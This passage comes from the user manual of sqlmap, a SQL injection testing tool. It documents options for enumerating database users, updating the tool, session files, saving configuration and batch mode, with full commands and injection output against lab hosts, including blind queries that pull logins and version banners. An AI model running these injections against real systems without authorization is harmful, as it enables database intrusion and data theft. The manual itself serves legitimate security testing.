[...]
|
|
back-end DBMS: Microsoft SQL Server 2000
|
|
|
|
[hh:mm:57] [INFO] fetching database users
|
|
[hh:mm:57] [INFO] fetching number of database users
|
|
[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)),
|
|
(CHAR(32))) FROM master..syslogins
|
|
[hh:mm:57] [INFO] retrieved: 3
|
|
[hh:mm:57] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:57] [INFO] retrieved the length of query output: 22
|
|
[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
|
|
master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name)
|
|
ORDER BY name
|
|
100% [====================================================] 22/22
|
|
[hh:mm:58] [INFO] performed 160 queries in 0 seconds
|
|
[hh:mm:58] [INFO] retrieved the length of query output: 2
|
|
[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
|
|
master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name)
|
|
ORDER BY name
|
|
100% [====================================================] 2/2
|
|
[hh:mm:59] [INFO] performed 20 queries in 0 seconds
|
|
[hh:mm:59] [INFO] retrieved the length of query output: 25
|
|
[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
|
|
master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name)
|
|
ORDER BY name
|
|
100% [====================================================] 25/25
|
|
[hh:mm:00] [INFO] performed 181 queries in 1 seconds
|
|
database management system users [3]:
|
|
[*] BUILTIN\Administrators
|
|
[*] sa
|
|
[*] W2KITINQUIS\Administrator
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap first calculates the length of the query output,
|
|
then estimated the time of arrival, shows the progress in percentage and
|
|
counts the number of retrieved query output characters.</P>
|
|
|
|
|
|
<H3>Update sqlmap to the latest stable version</H3>
|
|
|
|
<P>Option: <CODE>--update</CODE></P>
|
|
|
|
|
|
<P>It is possible to update sqlmap to the latest stable version available on
|
|
its
|
|
<A HREF="http://sourceforge.net/project/showfiles.php?group_id=171598&package_id=196107">SourceForge File List page</A> by running it with the
|
|
<CODE>--update</CODE> option.</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py --update -v 4
|
|
|
|
[hh:mm:53] [DEBUG] initializing the configuration
|
|
[hh:mm:53] [DEBUG] initializing the knowledge base
|
|
[hh:mm:53] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
|
|
[hh:mm:53] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:53] [INFO] updating sqlmap
|
|
[hh:mm:53] [DEBUG] checking if a new version is available
|
|
[hh:mm:55] [TRAFFIC OUT] HTTP request:
|
|
GET /doc/VERSION HTTP/1.1
|
|
Host: sqlmap.sourceforge.net
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Fri, 01 Aug 2008 14:50:55 GMT
|
|
Server: Apache/1.3.33 (Unix) PHP/4.3.10
|
|
Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
|
|
ETag: "9fcc53e-4-48919d9b"
|
|
Accept-Ranges: bytes
|
|
Content-Length: 4
|
|
Connection: close
|
|
Content-Type: text/plain
|
|
X-Pad: avoid browser bug
|
|
|
|
[hh:mm:55] [INFO] you are already running sqlmap latest stable version
|
|
[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
|
|
[hh:mm:56] [TRAFFIC OUT] HTTP request:
|
|
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
|
|
Host: www.sqlsecurity.com
|
|
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
|
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
|
|
language=en-US
|
|
Connection: close
|
|
|
|
[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Cache-Control: private
|
|
Connection: close
|
|
Date: Fri, 01 Aug 2008 14:50:50 GMT
|
|
Content-Length: 167918
|
|
Content-Type: text/html; charset=utf-8
|
|
Server: Microsoft-IIS/6.0
|
|
X-Powered-By: ASP.NET
|
|
X-AspNet-Version: 2.0.50727
|
|
Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
|
|
expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
|
|
Set-Cookie: language=en-US; path=/; HttpOnly
|
|
|
|
[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
|
|
[hh:mm:02] [DEBUG] parsing XML queries file
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap first check if a new stable version is available,
|
|
then in case it is, download it, unzip it and update the Microsoft SQL
|
|
Server XML versions file from Chip Andrews'
|
|
<A HREF="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx">SQLSecurity.com site</A>.</P>
|
|
|
|
<P>Note that the default configuration file <CODE>sqlmap.conf</CODE> is backupped
|
|
to <CODE>sqlmap.conf.bak</CODE> in case a new stable version is available and
|
|
your copy is updated.</P>
|
|
|
|
|
|
<H3>Save and resume all data retrieved on a session file</H3>
|
|
|
|
<P>Option: <CODE>-s</CODE></P>
|
|
|
|
<P>It is possible to log all queries and their output on a text file while
|
|
performing whatever request, both in blind SQL injection and in inband SQL
|
|
injection.
|
|
This is useful if you stop the injection and resume it after some time.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
|
|
-v 1 -s "sqlmap.log"
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
[hh:mm:02] [INFO] query: VERSION()
|
|
[hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
|
|
[hh:mm:03] [ERROR] user aborted
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, I stopped the injection with <CODE>CTRL-C</CODE> while
|
|
retrieving the PostgreSQL banner and logged the session to text file
|
|
<CODE>sqlmap.log</CODE>.</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ cat sqlmap.log
|
|
|
|
[hh:mm:00 MM/DD/YY]
|
|
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
|
|
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
|
|
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
|
|
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
|
|
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
|
|
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
|
|
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
|
|
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
|
|
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
|
|
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5
|
|
on i486-pc-
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, all queries performed and their output have been logged to
|
|
the session file in real time while performing the injection.</P>
|
|
|
|
<P>The session file has a structure as follows:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
[hh:mm:ss MM/DD/YY]
|
|
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Performing the same request now, sqlmap resumes all information already
|
|
retrieved then calculates the query length, in the example
|
|
<CODE>VERSION()</CODE>, and resumes the injection from the last character
|
|
retrieved to the end of the query output.</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
|
|
-v 1 -s "sqlmap.log"
|
|
|
|
[...]
|
|
[hh:mm:03] [INFO] resuming injection point 'GET' from session file
|
|
[hh:mm:03] [INFO] resuming injection parameter 'id' from session file
|
|
[hh:mm:03] [INFO] resuming injection type 'numeric' from session file
|
|
[hh:mm:03] [INFO] resuming 0 number of parenthesis from session file
|
|
[hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file
|
|
[hh:mm:03] [INFO] testing connection to the target url
|
|
[hh:mm:03] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:03] [INFO] retrieving the length of query output
|
|
[hh:mm:03] [INFO] query: LENGTH(VERSION())
|
|
[hh:mm:03] [INFO] retrieved: 98
|
|
[hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-...
|
|
[hh:mm:03] [INFO] retrieving pending 70 query output characters
|
|
[hh:mm:03] [INFO] query: SUBSTR((VERSION())::text, 29, 98)
|
|
[hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:07] [INFO] fetching banner
|
|
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Save options on a configuration INI file</H3>
|
|
|
|
<P>Option: <CODE>--save</CODE></P>
|
|
|
|
<P>It is possible to save the command line options to a configuration INI
|
|
file.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
|
|
-v 1 --save
|
|
|
|
[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-SAUbs.conf'
|
|
configuration file
|
|
[hh:mm:33] [INFO] testing connection to the target url
|
|
[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap saved the command line options to a configuration
|
|
INI file, <CODE>sqlmap-SAUbs.conf</CODE>.</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ cat sqlmap-SAUbs.conf
|
|
|
|
[Target]
|
|
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
|
|
googledork =
|
|
list =
|
|
|
|
[Request]
|
|
threads = 1
|
|
useragentsfile =
|
|
atype =
|
|
agent =
|
|
delay = 0
|
|
headers =
|
|
cookie =
|
|
proxy =
|
|
timeout = 10
|
|
acred =
|
|
referer =
|
|
data =
|
|
method = GET
|
|
|
|
[Miscellaneous]
|
|
updateall = False
|
|
eta = False
|
|
verbose = 2
|
|
batch = False
|
|
sessionfile =
|
|
|
|
[Enumeration]
|
|
dumpall = False
|
|
limitstop = 0
|
|
getusers = False
|
|
isdba = False
|
|
getpasswordhashes = False
|
|
excludesysdbs = False
|
|
getcurrentdb = False
|
|
gettables = False
|
|
dumptable = False
|
|
db =
|
|
limitstart = 0
|
|
getprivileges = False
|
|
sqlshell = False
|
|
tbl =
|
|
getcolumns = False
|
|
query =
|
|
getdbs = False
|
|
user =
|
|
col =
|
|
getcurrentuser = False
|
|
getbanner = True
|
|
|
|
[File system]
|
|
wfile =
|
|
rfile =
|
|
|
|
[Takeover]
|
|
osshell = False
|
|
|
|
[Fingerprint]
|
|
extensivefp = False
|
|
|
|
[Injection]
|
|
estring =
|
|
dbms =
|
|
string =
|
|
postfix =
|
|
prefix =
|
|
testparameter =
|
|
regexp =
|
|
eregexp =
|
|
|
|
[Techniques]
|
|
stackedtest = False
|
|
utech =
|
|
unionuse = False
|
|
timetest = False
|
|
uniontest = False
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>The file is a valid sqlmap configuration INI file.
|
|
You can edit the configuration options as you wish and pass it to sqlmap
|
|
with the <CODE>-c</CODE> option as explained above in section 5.2:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -c "sqlmap-SAUbs.conf"
|
|
|
|
[...]
|
|
[hh:mm:16] [INFO] performed 657 queries in 6 seconds
|
|
|
|
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Act in non-interactive mode</H3>
|
|
|
|
<P>Option: <CODE>--batch</CODE></P>
|
|
|
|
<P>If you want sqlmap to run as a batch tool, without interacting with you in
|
|
case of a choice has to be done, you can force it by using <CODE>--batch</CODE>
|
|
option than letting sqlmap go for a default behaviour.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
|
|
--batch -v 1
|
|
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'name' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
|
|
[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
|
|
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
|
|
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
|
|
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
|
|
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go
|
|
ahead:
|
|
[0] place: GET, parameter: id, type: numeric (default)
|
|
[1] place: GET, parameter: name, type: stringsingle
|
|
[q] Quit
|
|
Choice: 0
|
|
[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap choosed automatically to injection on the first
|
|
vulnerable parameter which is the default behaviour.</P>
|
|
|
|
|
|
<H2><A NAME="s6">6.</A> <A HREF="#toc6">Disclaimer</A></H2>
|
|
|
|
<P>sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
details.</P>
|
|
|
|
<P>Whatever you do with this tool is uniquely your responsability. If you are
|
|
not authorized to punch holes in the network you are attacking be aware
|
|
that such action might get you in trouble with a lot of law enforcement
|
|
agencies.</P>
|
|
|
|
|
|
<H2><A NAME="s7">7.</A> <A HREF="#toc7">Authors</A></H2>
|
|
|
|
<P>
|
|
<UL>
|
|
<LI>
|
|
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A> (inquis) - project leader, core developer. PGP Key ID:
|
|
<A HREF="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x05F5A30F">0x05F5A30F</A></LI>
|
|
<LI>
|
|
<A HREF="mailto:daniele.bellucci@gmail.com">Daniele Bellucci</A> (belch) - project founder, initial developer. PGP Key ID:
|
|
<A HREF="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x9A0E8190">0x9A0E8190</A></LI>
|
|
</UL>
|
|
</P>
|
|
|
|
|
|
</BODY>
|
|
</HTML>
|